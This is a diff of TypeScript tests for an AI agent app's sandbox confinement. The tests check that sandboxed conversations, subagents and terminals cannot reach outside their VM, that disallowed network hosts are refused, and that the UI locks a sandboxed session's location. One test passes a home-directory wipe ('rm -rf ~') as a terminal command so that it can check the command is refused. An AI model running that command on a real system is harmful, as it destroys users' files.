assert(compile(LauncherCheckSchema).check(report), JSON.stringify(report));
|
||||
});
|
||||
|
||||
const infos: EnvInfo[] = [
|
||||
{ name: "slayer", type: "ssh", host: "slayer.example" },
|
||||
{ name: "box1", type: "gondolin", host: "slayer" },
|
||||
];
|
||||
const text = (result: ToolExecutionResult) =>
|
||||
(result.output ?? []).map((part) => (part.type === "text" ? part.text : "")).join("");
|
||||
|
||||
test("location tools keep a sandboxed conversation in its sandbox", async () => {
|
||||
assert.equal(sandboxAt({ env: "box1", cwd: "/workspace" }, infos), "box1");
|
||||
assert.equal(sandboxAt({ env: "slayer", cwd: "/" }, infos), undefined);
|
||||
assert.equal(sandboxAt({ env: null, cwd: "/" }, infos), undefined);
|
||||
const listed: (string | null)[] = [];
|
||||
const extension = createLocationExtension({
|
||||
server: {
|
||||
envs: async () => infos,
|
||||
directories: async (env, path) => {
|
||||
listed.push(env);
|
||||
return { path, parent: null, directories: [`${path}/src`], truncated: false };
|
||||
},
|
||||
},
|
||||
locate: async () => ({ env: "box1", cwd: "/workspace" }),
|
||||
});
|
||||
const tool = (name: string) => {
|
||||
const found = extension.tools?.find((each) => each.name === name);
|
||||
assert(found);
|
||||
return found;
|
||||
};
|
||||
// The refusals come before anything reads the conversation's documents.
|
||||
const api = { conversationId: 2 as ConversationId } as unknown as ToolExecutionApi;
|
||||
const envsText = text(await tool("location_envs").execute({}, api, BACKGROUND_CONTEXT));
|
||||
assert.match(envsText, /in sandbox box1/);
|
||||
assert.match(envsText, /cannot leave it/);
|
||||
assert.doesNotMatch(envsText, /slayer\.example|this device/);
|
||||
for (const args of [{ location: "slayer:/home" }, { location: "local:/tmp" }, { env: null, cwd: "/tmp" }]) {
|
||||
for (const name of ["location_dirs", "location_move"]) {
|
||||
const result = await tool(name).execute(args, api, BACKGROUND_CONTEXT);
|
||||
assert.equal(result.isError, true, `${name} ${JSON.stringify(args)}`);
|
||||
assert.match(text(result), /sandbox box1 and cannot leave it/);
|
||||
}
|
||||
}
|
||||
assert.deepEqual(listed, [], "nothing outside the sandbox was even listed");
|
||||
const inside = await tool("location_dirs").execute({ location: "/workspace" }, api, BACKGROUND_CONTEXT);
|
||||
assert.equal(inside.isError, false);
|
||||
assert.match(text(inside), /box1:\/workspace/);
|
||||
assert.deepEqual(listed, ["box1"]);
|
||||
});
|
||||
|
||||
test("a sandboxed caller places subagents only in its sandbox", async () => {
|
||||
const locator: SubagentLocator = {
|
||||
locate: async () => ({ env: "box1", cwd: "/workspace" }),
|
||||
sandbox: async (location) => (location.env === "box1" ? "box1" : undefined),
|
||||
directory: async (target) => ({ env: target.env, cwd: target.path || "/workspace" }),
|
||||
};
|
||||
const caller: Location = { env: "box1", cwd: "/workspace" };
|
||||
for (const args of [{ env: "slayer" }, { env: null }, { env: null, cwd: "/tmp" }])
|
||||
assert.match(String(await placeTarget(locator, caller, args, BACKGROUND_CONTEXT)), /only work inside it/);
|
||||
assert.deepEqual(await placeTarget(locator, caller, { cwd: "/workspace/a" }, BACKGROUND_CONTEXT), {
|
||||
env: "box1",
|
||||
cwd: "/workspace/a",
|
||||
});
|
||||
// An unsandboxed caller may place a subagent in a sandbox (which then confines that subagent).
|
||||
assert.deepEqual(await placeTarget(locator, { env: "slayer", cwd: "/" }, { env: "box1" }, BACKGROUND_CONTEXT), {
|
||||
env: "box1",
|
||||
cwd: "/workspace",
|
||||
});
|
||||
});
|
||||
|
||||
test("confinement is decided per conversation from its location; one-shot agents inherit their caller's", async () => {
|
||||
const at: Record<number, Location> = { 1: { env: "slayer", cwd: "/" }, 2: { env: "box1", cwd: "/workspace" } };
|
||||
const environments = {
|
||||
session: at[1],
|
||||
locate: async (id: ConversationId) => at[Number(id)] ?? at[1],
|
||||
sandbox: async (env: string | null) => (env !== null && isSandbox(envs, env) ? env : undefined),
|
||||
} as unknown as ExecutionEnvironments;
|
||||
assert.equal(await conversationConfinement(environments, 1 as ConversationId, BACKGROUND_CONTEXT), undefined);
|
||||
assert.deepEqual(await conversationConfinement(environments, 2 as ConversationId, BACKGROUND_CONTEXT), {
|
||||
sandbox: "box1",
|
||||
});
|
||||
const docs = new Map<string, unknown>([
|
||||
[`${Subagents.definition.kind}:1`, { agents: { worker: { conversationId: 2, location: at[2] } }, reporters: {} }],
|
||||
[`${InheritedLocation.definition.kind}:3`, { location: at[2] }],
|
||||
]);
|
||||
const read = {
|
||||
snapshot: async (token: { definition: { kind: string } }, key: unknown) =>
|
||||
docs.get(`${token.definition.kind}:${String(key)}`),
|
||||
} as unknown as DocumentReader;
|
||||
assert.deepEqual(await ownLocation(read, 2 as ConversationId, BACKGROUND_CONTEXT), at[2]);
|
||||
assert.deepEqual(await ownLocation(read, 3 as ConversationId, BACKGROUND_CONTEXT), at[2], "a one-shot agent's");
|
||||
assert.equal(await ownLocation(read, 4 as ConversationId, BACKGROUND_CONTEXT), undefined);
|
||||
});
|
||||
|
||||
test(
|
||||
"the launcher runs pi-env in a Gondolin VM with its folders and allowed hosts only",
|
||||
{ skip: process.env.P2_TEST_GONDOLIN !== "1", timeout: 900_000 },
|
||||
async (t) => {
|
||||
const daemon = process.env.P2_TEST_DAEMON ?? localDaemon();
|
||||
if (!existsSync(daemon)) return t.skip(`no pi-env daemon at ${daemon}`);
|
||||
// Under the home directory: in Docker, the launcher shares only the home with its container.
|
||||
mkdirSync(join(homedir(), ".cache"), { recursive: true });
|
||||
const home = mkdtempSync(join(homedir(), ".cache", "p2-gondolin-test-"));
|
||||
// Named as p2 deploys it: in Docker the image is tagged with it, and another name would replace the container.
|
||||
const launcher = join(home, launcherId(fileURLToPath(sandboxDir)));
|
||||
mkdirSync(launcher);
|
||||
for (const name of ["p2-sandbox.sh", "p2-sandbox.mjs", "Dockerfile"])
|
||||
copyFileSync(new URL(name, sandboxDir), join(launcher, name));
|
||||
copyFileSync(new URL("host-package.json", sandboxDir), join(launcher, "package.json"));
|
||||
copyFileSync(new URL("host-package-lock.json", sandboxDir), join(launcher, "package-lock.json"));
|
||||
const shared = join(home, "shared");
|
||||
mkdirSync(shared);
|
||||
writeFileSync(join(shared, "hello.txt"), "from the host\n");
|
||||
const config = { ...box, host: "unused", mounts: [{ host: shared, guest: "/workspace" }], allowHosts: [] };
|
||||
const name = `test-${process.pid}`;
|
||||
// As p2 does: start first (a first start installs and boots for longer than pi-env waits for its daemon).
|
||||
execFileSync("sh", [join(launcher, "p2-sandbox.sh"), "start", name, sandboxArgument(config)], {
|
||||
timeout: 660_000,
|
||||
});
|
||||
const connection = new Connection({
|
||||
command: ["sh", join(launcher, "p2-sandbox.sh"), "daemon", name, sandboxArgument(config), daemon, "--"],
|
||||
});
|
||||
t.after(() => {
|
||||
connection.close();
|
||||
execFileSync("sh", [join(launcher, "p2-sandbox.sh"), "stop", name]);
|
||||
rmSync(home, { recursive: true, force: true });
|
||||
rmSync(join(homedir(), ".pi", "p2", "sandbox", "run", name), { recursive: true, force: true });
|
||||
});
|
||||
const info = await connection.info();
|
||||
assert.equal(info.os, "linux");
|
||||
const env = new RemoteExecutionEnv({ connection, id: "sandbox-test", cwd: "/workspace" });
|
||||
const read = await env.readTextFile("/workspace/hello.txt", BACKGROUND_CONTEXT);
|
||||
assert.deepEqual(read, { ok: true, value: "from the host\n" });
|
||||
const wrote = await env.writeFile("/workspace/made.txt", "from the vm\n", BACKGROUND_CONTEXT);
|
||||
assert.equal(wrote.ok, true);
|
||||
assert.equal(readFileSync(join(shared, "made.txt"), "utf8"), "from the vm\n");
|
||||
const outside = await env.fileInfo(home, BACKGROUND_CONTEXT);
|
||||
assert.equal(outside.ok, false, "the host's other files are not in the VM");
|
||||
let output = "";
|
||||
const curl = await env.exec(
|
||||
"curl -s -o /dev/null -w '%{http_code}' https://example.com",
|
||||
{
|
||||
cwd: "/workspace",
|
||||
onOutput: (chunk) => {
|
||||
output += chunk;
|
||||
},
|
||||
},
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
assert.equal(curl.ok, true);
|
||||
assert.equal(output, "403", "hosts outside the allowed list are refused");
|
||||
// Refused before the host resolves the name (else it leaks to DNS): an unresolvable name gets the policy's 403,
|
||||
// not the 502 of a failed lookup.
|
||||
output = "";
|
||||
await env.exec(
|
||||
"curl -s -o /dev/null -w '%{http_code}' http://leak-check.p2-sandbox.invalid/",
|
||||
{
|
||||
cwd: "/workspace",
|
||||
onOutput: (chunk) => {
|
||||
output += chunk;
|
||||
},
|
||||
},
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
assert.equal(output, "403");
|
||||
},
|
||||
);
|
||||
|
||||
const sshd = ["/usr/sbin/sshd", "/usr/bin/sshd"].find((path) => existsSync(path));
|
||||
|
||||
async function freePort(): Promise<number> {
|
||||
return new Promise((resolve) => {
|
||||
const server = createServer().listen(0, "127.0.0.1", () => {
|
||||
const port = (server.address() as { port: number }).port;
|
||||
server.close(() => resolve(port));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
test(
|
||||
"a session works in a sandbox on an SSH environment, and cannot leave it",
|
||||
{
|
||||
skip:
|
||||
process.env.P2_TEST_GONDOLIN !== "1"
|
||||
? "P2_TEST_GONDOLIN is not 1"
|
||||
: !sshd
|
||||
? "no local sshd"
|
||||
: !existsSync(localDaemon())
|
||||
? `no packaged pi-env daemon at ${localDaemon()}`
|
||||
: false,
|
||||
timeout: 900_000,
|
||||
},
|
||||
async (t) => {
|
||||
// A loopback sshd as this user with the real home: in Docker the launcher shares the home with its container, and
|
||||
// the guest image cache is reused.
|
||||
mkdirSync(join(homedir(), ".cache"), { recursive: true });
|
||||
const root = mkdtempSync(join(homedir(), ".cache", "p2-sandbox-ssh-"));
|
||||
const port = await freePort();
|
||||
execFileSync("ssh-keygen", ["-q", "-t", "ed25519", "-N", "", "-f", join(root, "host_key")]);
|
||||
writeFileSync(join(root, "authorized_keys"), "");
|
||||
writeFileSync(
|
||||
join(root, "sshd_config"),
|
||||
[
|
||||
`Port ${port}`,
|
||||
"ListenAddress 127.0.0.1",
|
||||
`HostKey ${join(root, "host_key")}`,
|
||||
`AuthorizedKeysFile ${join(root, "authorized_keys")}`,
|
||||
`PidFile ${join(root, "sshd.pid")}`,
|
||||
"PasswordAuthentication no",
|
||||
"KbdInteractiveAuthentication no",
|
||||
"StrictModes no",
|
||||
"",
|
||||
].join("\n"),
|
||||
);
|
||||
const server: ChildProcess = spawn(sshd!, ["-D", "-e", "-f", join(root, "sshd_config")], { stdio: "ignore" });
|
||||
const fixture = await startFixture();
|
||||
const owner = fixture.browser();
|
||||
const envs = owner.hold(Envs, {}, BACKGROUND_CONTEXT);
|
||||
t.after(async () => {
|
||||
await envs.sandboxStop({ name: "sbx" }, BACKGROUND_CONTEXT).catch(() => {});
|
||||
for (const sandbox of ["sbx", "spare"])
|
||||
rmSync(join(homedir(), ".pi", "p2", "sandbox", "run", sandboxKey(fixture.dataDir, sandbox)), {
|
||||
recursive: true,
|
||||
force: true,
|
||||
});
|
||||
await fixture.close();
|
||||
server.kill();
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
});
|
||||
await poll(
|
||||
() =>
|
||||
new Promise<boolean>((resolve) => {
|
||||
const socket = new Socket();
|
||||
socket.once("connect", () => resolve(Boolean(socket.destroy())));
|
||||
socket.once("error", () => resolve(false));
|
||||
socket.connect(port, "127.0.0.1");
|
||||
}),
|
||||
10_000,
|
||||
"local sshd",
|
||||
);
|
||||
const key = await envs.generateKey({ name: "host" }, BACKGROUND_CONTEXT);
|
||||
writeFileSync(join(root, "authorized_keys"), `${key.publicKey}\n`);
|
||||
const host = { type: "ssh" as const, host: "127.0.0.1", port, user: userInfo().username };
|
||||
await envs.save({ name: "host", config: { ...host, identityFile: key.identityFile } }, BACKGROUND_CONTEXT);
|
||||
const untrusted = await envs.test({ name: "host" }, BACKGROUND_CONTEXT);
|
||||
assert(!untrusted.ok && untrusted.hostKey);
|
||||
await envs.acceptHostKey({ name: "host", lines: untrusted.hostKey.lines }, BACKGROUND_CONTEXT);
|
||||
const tested = await envs.test({ name: "host" }, BACKGROUND_CONTEXT);
|
||||
assert(tested.ok, JSON.stringify(tested));
|
||||
assert(tested.sandboxes && tested.sandboxes.runtime !== "none", JSON.stringify(tested.sandboxes));
|
||||
|
||||
const shared = join(root, "shared");
|
||||
mkdirSync(shared);
|
||||
writeFileSync(join(shared, "hello.txt"), "from the host\n");
|
||||
const sandbox = { type: "gondolin" as const, host: "host", mounts: [{ host: shared, guest: "/workspace" }] };
|
||||
await envs.save({ name: "sbx", config: sandbox }, BACKGROUND_CONTEXT);
|
||||
await envs.sandboxStop({ name: "sbx" }, BACKGROUND_CONTEXT);
|
||||
assert.deepEqual(await envs.sandboxStatus({ name: "sbx" }, BACKGROUND_CONTEXT), { state: "stopped" });
|
||||
// Deleting a sandbox stops its VM first: nothing could stop it once its configuration is gone.
|
||||
await envs.save({ name: "spare", config: sandbox }, BACKGROUND_CONTEXT);
|
||||
await envs.sandboxStart({ name: "spare" }, BACKGROUND_CONTEXT);
|
||||
await envs.delete({ name: "spare" }, BACKGROUND_CONTEXT);
|
||||
assert(
|
||||
!existsSync(join(homedir(), ".pi", "p2", "sandbox", "run", sandboxKey(fixture.dataDir, "spare"), "sock")),
|
||||
"the VM's supervisor is gone",
|
||||
);
|
||||
const vm = await envs.test({ name: "sbx" }, BACKGROUND_CONTEXT);
|
||||
assert(vm.ok && vm.platform === "linux", JSON.stringify(vm));
|
||||
const running = await envs.sandboxStatus({ name: "sbx" }, BACKGROUND_CONTEXT);
|
||||
assert(running.state === "running" && running.current, JSON.stringify(running));
|
||||
const listing = await envs.listDirectory({ env: "sbx", path: "/" }, BACKGROUND_CONTEXT);
|
||||
assert(listing.directories.includes("/workspace"), JSON.stringify(listing));
|
||||
|
||||
const sessions = await holdIn(owner, Sessions, {}, "owner");
|
||||
const session = (await sessions.create({ env: "sbx", cwd: "/workspace" }, BACKGROUND_CONTEXT)).id;
|
||||
const chat = await holdIn(owner, Chat, { session, conversation: 1 }, "participant");
|
||||
const output = (view: ConversationView | null | undefined) =>
|
||||
(view?.entries ?? [])
|
||||
.flatMap((entry) => entry.model ?? [])
|
||||
.flatMap((message) => (message.role === "toolResult" ? message.content : []))
|
||||
.map((part) => (part.type === "text" ? part.text : ""))
|
||||
.join("\n");
|
||||
const script = 'return (await tools.bash({ command: "cat hello.txt; echo made > made.txt; uname -s" })).output;';
|
||||
await chat.send({ text: `codemode ${script}`, requestId: "sandbox-bash" }, BACKGROUND_CONTEXT);
|
||||
await until(chat.view, (view) => /from the host[\s\S]*Linux/.test(output(view)), 120_000);
|
||||
assert.equal(readFileSync(join(shared, "made.txt"), "utf8"), "made\n");
|
||||
await chat.send(
|
||||
{ text: `location_move ${JSON.stringify({ location: "host:/tmp" })}`, requestId: "sandbox-leave" },
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
await until(chat.view, (view) => output(view).includes("sandbox sbx and cannot leave it"), 60_000);
|
||||
chat.release();
|
||||
|
||||
// A session outside places a subagent in the sandbox; configure cannot take it out again.
|
||||
const outside = (await sessions.create({ env: "host", cwd: root }, BACKGROUND_CONTEXT)).id;
|
||||
const main = await holdIn(owner, Chat, { session: outside, conversation: 1 }, "participant");
|
||||
const spawnArgs = {
|
||||
action: "spawn",
|
||||
name: "boxed",
|
||||
message: "hi",
|
||||
env: "sbx",
|
||||
cwd: "/workspace",
|
||||
tools: ["bash"],
|
||||
};
|
||||
await main.send(
|
||||
{ text: `subagent ${JSON.stringify(spawnArgs)}`, requestId: "sandbox-spawn" },
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
// Its answer reported and the main agent idle again: inputs sent meanwhile would join the report's turn.
|
||||
await until(
|
||||
main.view,
|
||||
(view) =>
|
||||
(view?.entries ?? []).some((entry) => entry.kind === "p2.agent-message") &&
|
||||
!(view?.docs["pi.live"] as { run?: unknown } | undefined)?.run,
|
||||
60_000,
|
||||
);
|
||||
const results = (view: ConversationView | null | undefined) =>
|
||||
(view?.entries ?? []).flatMap((entry) => entry.model ?? []).filter((message) => message.role === "toolResult");
|
||||
let serial = 0;
|
||||
for (const change of [{ followSession: true }, { env: "host", cwd: root }]) {
|
||||
const configure = JSON.stringify({ action: "configure", name: "boxed", ...change });
|
||||
// Until its first task is done: a location never changes under a run.
|
||||
for (;;) {
|
||||
const before = results(await until(main.view, Boolean)).length;
|
||||
await main.send(
|
||||
{ text: `subagent ${configure}`, requestId: `sandbox-configure-${++serial}` },
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
const view = await until(main.view, (value) => results(value).length > before, 60_000);
|
||||
const last = output({ ...view, entries: view?.entries.slice(-2) ?? [] } as ConversationView);
|
||||
if (last.includes("boxed works in sandbox sbx and cannot leave it")) break;
|
||||
assert.match(last, /is working/);
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
}
|
||||
}
|
||||
main.release();
|
||||
|
||||
// A terminal opens in the VM too.
|
||||
const terminals = owner.hold(Terminals, { session, view: crypto.randomUUID() }, BACKGROUND_CONTEXT);
|
||||
const { token } = await terminals.channel({}, BACKGROUND_CONTEXT);
|
||||
const socket = new WebSocket(`ws://127.0.0.1:${fixture.server.port}/terminal?${new URLSearchParams({ token })}`);
|
||||
const events: TerminalEvent[] = [];
|
||||
const screen: Buffer[] = [];
|
||||
socket.on("message", (bytes, binary) => {
|
||||
if (binary) screen.push(Buffer.from(bytes as Buffer));
|
||||
else events.push(JSON.parse(bytes.toString()) as TerminalEvent);
|
||||
});
|
||||
socket.on("error", () => {});
|
||||
try {
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
socket.once("open", resolve);
|
||||
socket.once("error", reject);
|
||||
});
|
||||
await terminals.open({ cols: 60, rows: 12, conversation: 1 }, BACKGROUND_CONTEXT);
|
||||
await poll(() => events.some((event) => event.type === "attached" || event.type === "error"), 60_000);
|
||||
const attached = events.find((event) => event.type === "attached");
|
||||
assert(attached?.type === "attached", JSON.stringify(events));
|
||||
assert.equal(attached.terminal.env, "sbx");
|
||||
socket.send(Buffer.from("cat /workspace/made.txt; uname -s\r"));
|
||||
await poll(() => /made[\s\S]*Linux/.test(Buffer.concat(screen).toString("utf8")), 30_000);
|
||||
await terminals.close({ force: true }, BACKGROUND_CONTEXT);
|
||||
} finally {
|
||||
socket.close();
|
||||
await terminals.restartHost({}, BACKGROUND_CONTEXT).catch(() => {});
|
||||
terminals.release();
|
||||
}
|
||||
},
|
||||
);
|
||||
|
|
@ -87,10 +87,10 @@ function callApi(taskId: number): ToolExecutionApi {
|
|||
return api as unknown as ToolExecutionApi;
|
||||
}
|
||||
|
||||
function terminal(backend: TerminalBackend, reach: "codemode" | "tool_search" = "codemode") {
|
||||
function terminal(backend: TerminalBackend, reach: "codemode" | "tool_search" = "codemode", sandbox?: string) {
|
||||
const extension = createTerminalExtension(reach, backend, async (api) => {
|
||||
assert.equal(api.conversationId, 7);
|
||||
return { cwd: "/work/sub", env: "gpu" };
|
||||
return { here: { cwd: "/work/sub", env: "gpu" }, ...(sandbox === undefined ? {} : { sandbox }) };
|
||||
});
|
||||
return extension.tools![0]!;
|
||||
}
|
||||
|
|
@ -233,3 +233,34 @@ test("results: the screen of full-screen programs, skipped output, timeouts, win
|
|||
isError: true,
|
||||
});
|
||||
});
|
||||
|
||||
test("a caller in a sandbox sees and drives only the session's terminals in it", async () => {
|
||||
const { backend, calls } = recorder();
|
||||
const confined = terminal(backend, "codemode", "gpu");
|
||||
const call = (command: string, args: string[], taskId: number) =>
|
||||
confined.execute({ command, args }, callApi(taskId), BACKGROUND_CONTEXT);
|
||||
const listed = await call("list-windows", [], 1);
|
||||
assert.deepEqual(
|
||||
(listed.structuredOutput as { windows: { window: number }[] }).windows.map((window) => window.window),
|
||||
[2],
|
||||
);
|
||||
// Window 1 runs on this device (env null), outside the sandbox.
|
||||
for (const [command, args] of [
|
||||
["send-keys", ["-t", "1", "rm -rf ~"]],
|
||||
["read", ["-t", "1"]],
|
||||
["capture-pane", ["-t", "1"]],
|
||||
["kill-window", ["-t", "1"]],
|
||||
] as const) {
|
||||
const result = await call(command, [...args], 2);
|
||||
assert.equal(result.isError, true, command);
|
||||
assert.match((result.output?.[0] as { text: string }).text, /outside sandbox gpu/);
|
||||
}
|
||||
assert(!calls.some(([name]) => ["send", "read", "capture", "close"].includes(name)), JSON.stringify(calls));
|
||||
// A rerun after the conversation was moved into the sandbox: the window its first run remembered is refused too.
|
||||
const api = callApi(9);
|
||||
await terminal(backend).execute({ command: "send-keys", args: ["-t", "1", "ls"] }, api, BACKGROUND_CONTEXT);
|
||||
const sends = calls.filter(([name]) => name === "send").length;
|
||||
const rerun = await confined.execute({ command: "send-keys", args: ["-t", "1", "ls"] }, api, BACKGROUND_CONTEXT);
|
||||
assert.equal(rerun.isError, true);
|
||||
assert.equal(calls.filter(([name]) => name === "send").length, sends);
|
||||
});
|
||||
|
|
|
|||
|
|
@ -139,6 +139,9 @@ function stubs(calls: Calls, role: "owner" | "guest" = "owner") {
|
|||
generateKey: () => ({ publicKey: "", identityFile: "" }),
|
||||
uploadKey: () => ({ publicKey: "", identityFile: "" }),
|
||||
publicKey: () => null,
|
||||
sandboxStatus: () => ({ state: "stopped" as const }),
|
||||
sandboxStart: () => ({ state: "stopped" as const }),
|
||||
sandboxStop: () => ({ state: "stopped" as const }),
|
||||
};
|
||||
},
|
||||
],
|
||||
|
|
|
|||
|
|
@ -471,6 +471,9 @@ function ownerStubs(calls: Calls) {
|
|||
uploadKey: () => ({ publicKey: "", identityFile: "" }),
|
||||
publicKey: () => null,
|
||||
listDirectory: () => ({ path: "/", parent: null, directories: [], truncated: false }),
|
||||
sandboxStatus: () => ({ state: "stopped" as const }),
|
||||
sandboxStart: () => ({ state: "stopped" as const }),
|
||||
sandboxStop: () => ({ state: "stopped" as const }),
|
||||
}),
|
||||
],
|
||||
[
|
||||
|
|
|
|||
155
apps/p2/test/p2/ui-sandboxes.test.ts
Normal file
155
apps/p2/test/p2/ui-sandboxes.test.ts
Normal file
|
|
@ -0,0 +1,155 @@
|
|||
// Real browser checks of the sandbox UI: the Envs list and sandbox form, the top bar's lock and the confirmation before
|
||||
// a session moves out of its sandbox. No SSH host is reachable: VM states read as unknown, listings fail.
|
||||
|
||||
import assert from "node:assert/strict";
|
||||
import { after, before, describe, it } from "node:test";
|
||||
import { BACKGROUND_CONTEXT } from "@p2/app/v1";
|
||||
import { Envs } from "../../plugins/envs/contract.ts";
|
||||
import type { EnvConfig } from "../../plugins/envs/schema.ts";
|
||||
import { Catalog } from "../../plugins/sessions/contract.ts";
|
||||
import { Browser, browserTests } from "./browser.ts";
|
||||
import { type Fixture, startFixture } from "./helpers.ts";
|
||||
|
||||
const input = (selector: string, value: string) =>
|
||||
`(()=>{const e=document.querySelector(${JSON.stringify(selector)});Object.getOwnPropertyDescriptor(e.tagName==='TEXTAREA'?HTMLTextAreaElement.prototype:HTMLInputElement.prototype,'value').set.call(e,${JSON.stringify(value)});e.dispatchEvent(new Event('input',{bubbles:true}));})()`;
|
||||
const button = (text: string) =>
|
||||
`[...document.querySelectorAll('[role=dialog] button')].find(e => e.textContent.trim() === ${JSON.stringify(text)})`;
|
||||
|
||||
describe("sandbox UI", { skip: !browserTests }, () => {
|
||||
let fixture: Fixture, browser: Browser;
|
||||
const press = async (text: string) => {
|
||||
await browser.wait(button(text));
|
||||
await browser.evaluate(`${button(text)}.click()`);
|
||||
};
|
||||
before(async () => {
|
||||
fixture = await startFixture({ web: true });
|
||||
const envs = fixture.browser().hold(Envs, {}, BACKGROUND_CONTEXT);
|
||||
await envs.save({ name: "host1", config: { type: "ssh", host: "unreachable.invalid" } }, BACKGROUND_CONTEXT);
|
||||
await envs.save(
|
||||
{
|
||||
name: "box1",
|
||||
config: { type: "gondolin", host: "host1", mounts: [{ host: "~/src", guest: "/workspace" }] },
|
||||
},
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
envs.release();
|
||||
browser = await Browser.start();
|
||||
await browser.metrics(1280, 900);
|
||||
});
|
||||
after(async () => {
|
||||
await browser?.close();
|
||||
await fixture?.close();
|
||||
});
|
||||
|
||||
it("lists a sandbox under its host and edits its folders and allowed hosts", async () => {
|
||||
await browser.open(`http://127.0.0.1:${fixture.server.port}/`);
|
||||
await browser.wait(`document.querySelector('textarea') && !document.querySelector('.offline')`);
|
||||
await browser.evaluate(`[...document.querySelectorAll('button')].find(e=>e.textContent==='Envs').click()`);
|
||||
await browser.wait(`document.querySelector('[role=dialog][aria-label=Environments] .env-sandbox svg')`);
|
||||
const rows = await browser.evaluate<string[]>(
|
||||
`[...document.querySelectorAll('[role=dialog] .env-group .row-button')].map(e=>e.textContent)`,
|
||||
);
|
||||
assert.match(rows[0]!, /^host1/);
|
||||
assert.match(rows[1]!, /box1.*0 sessions/);
|
||||
// The host was never tested: nothing says it can run sandboxes, so no "Add sandbox on" row.
|
||||
assert.equal(rows.length, 2);
|
||||
// Reading the VM's state fails without the host: unknown, not a blocked list.
|
||||
await browser.wait(`document.querySelector('.env-sandbox .vm-dot.unknown')`);
|
||||
|
||||
await browser.evaluate(`document.querySelector('[role=dialog] .env-sandbox').click()`);
|
||||
await browser.wait(`document.querySelector('[role=dialog][aria-label=box1] .env-form select')`);
|
||||
assert.equal(await browser.evaluate<string>(`document.querySelector('.env-form select').value`), "host1");
|
||||
await browser.wait(`document.querySelector('[role=dialog]').textContent.includes('VM state unknown')`);
|
||||
assert(
|
||||
await browser.evaluate<boolean>(
|
||||
`document.querySelector('.sandbox-folder').textContent.includes('~/src → /workspace')`,
|
||||
),
|
||||
);
|
||||
await press("+ Add folder");
|
||||
await browser.evaluate(input("input[placeholder='~/project']", "/data"));
|
||||
await browser.evaluate(input("input[placeholder='/workspace']", "/data"));
|
||||
await browser.evaluate(`document.querySelector('.sandbox-folders input[type=checkbox]').click()`);
|
||||
await press("Add folder");
|
||||
await browser.evaluate(input(".env-form textarea", "github.com\n*.npmjs.org\n"));
|
||||
await browser.evaluate(input("input[placeholder='2']", "4"));
|
||||
await browser.evaluate(`document.querySelector('.env-form').requestSubmit()`);
|
||||
const envs = fixture.browser().hold(Envs, {}, BACKGROUND_CONTEXT);
|
||||
try {
|
||||
let config: EnvConfig | undefined;
|
||||
for (let attempt = 0; attempt < 100; attempt++) {
|
||||
config = (await envs.list(BACKGROUND_CONTEXT)).find((env) => env.name === "box1")?.config;
|
||||
if (config?.type === "gondolin" && config.cpus !== undefined) break;
|
||||
await new Promise((resolve) => setTimeout(resolve, 100));
|
||||
}
|
||||
assert.deepEqual(config, {
|
||||
type: "gondolin",
|
||||
host: "host1",
|
||||
mounts: [
|
||||
{ host: "~/src", guest: "/workspace" },
|
||||
{ host: "/data", guest: "/data", readonly: true },
|
||||
],
|
||||
allowHosts: ["github.com", "*.npmjs.org"],
|
||||
cpus: 4,
|
||||
});
|
||||
} finally {
|
||||
envs.release();
|
||||
}
|
||||
await press("← All environments");
|
||||
await browser.wait(`document.querySelector('[role=dialog] .env-group > .row-button')`);
|
||||
await browser.evaluate(`document.querySelector('[role=dialog] .env-group > .row-button').click()`);
|
||||
await browser.wait(`document.querySelector('[role=dialog]').textContent.includes('Sandboxes on host1')`);
|
||||
await press("Add sandbox");
|
||||
await browser.wait(`document.querySelector('[role=dialog][aria-label="New sandbox"] .env-form select')`);
|
||||
assert.equal(await browser.evaluate<string>(`document.querySelector('.env-form select').value`), "host1");
|
||||
await browser.evaluate(`document.querySelector('[role=dialog] button[aria-label=Close]').click()`);
|
||||
});
|
||||
|
||||
it("locks a sandboxed session's location and confirms moving it out", async () => {
|
||||
const session = await fixture.server.host.root(
|
||||
async (ctx) =>
|
||||
(await ctx.get(Catalog, {})).create(
|
||||
{
|
||||
cwd: "/workspace",
|
||||
env: "box1",
|
||||
title: "Sandboxed",
|
||||
model: { provider: "faux", modelId: "faux-1" },
|
||||
thinkingLevel: "off",
|
||||
},
|
||||
ctx,
|
||||
),
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
await browser.open(`http://127.0.0.1:${fixture.server.port}/s/${session.id}`);
|
||||
await browser.wait(`document.querySelector('.title-cwd .title-lock')`);
|
||||
await browser.wait(
|
||||
`[...document.querySelectorAll('.group h3')].some(h=>h.querySelector('.group-lock') && h.textContent.includes('box1:/workspace'))`,
|
||||
);
|
||||
await browser.evaluate(`document.querySelector('.title-cwd').click()`);
|
||||
await browser.wait(`document.querySelector('[role=dialog][aria-label="Working directory"] select')`);
|
||||
assert.deepEqual(
|
||||
await browser.evaluate<string[]>(
|
||||
`[...document.querySelectorAll('[role=dialog] optgroup[label=Sandboxes] option')].map(e=>e.textContent)`,
|
||||
),
|
||||
["box1 · sandbox on host1"],
|
||||
);
|
||||
assert(
|
||||
await browser.evaluate<boolean>(
|
||||
`document.querySelector('[role=dialog]').textContent.includes("run in the box1 VM and can't leave it")`,
|
||||
),
|
||||
);
|
||||
await browser.evaluate(
|
||||
`(()=>{const s=document.querySelector('[role=dialog] select');Object.getOwnPropertyDescriptor(HTMLSelectElement.prototype,'value').set.call(s,'');s.dispatchEvent(new Event('change',{bubbles:true}));})()`,
|
||||
);
|
||||
await browser.wait(`document.querySelector('.directory-use')?.textContent.startsWith('Move session to')`);
|
||||
await browser.evaluate(`document.querySelector('.directory-use').click()`);
|
||||
await browser.wait(`document.querySelector('[role=dialog]').textContent.includes('Leave sandbox box1?')`);
|
||||
assert(
|
||||
await browser.evaluate<boolean>(
|
||||
`document.querySelector('.directory-leave').textContent.includes('run directly on this device')`,
|
||||
),
|
||||
);
|
||||
await press("Cancel");
|
||||
await browser.wait(`document.querySelector('.directory-use') && !document.querySelector('.directory-leave')`);
|
||||
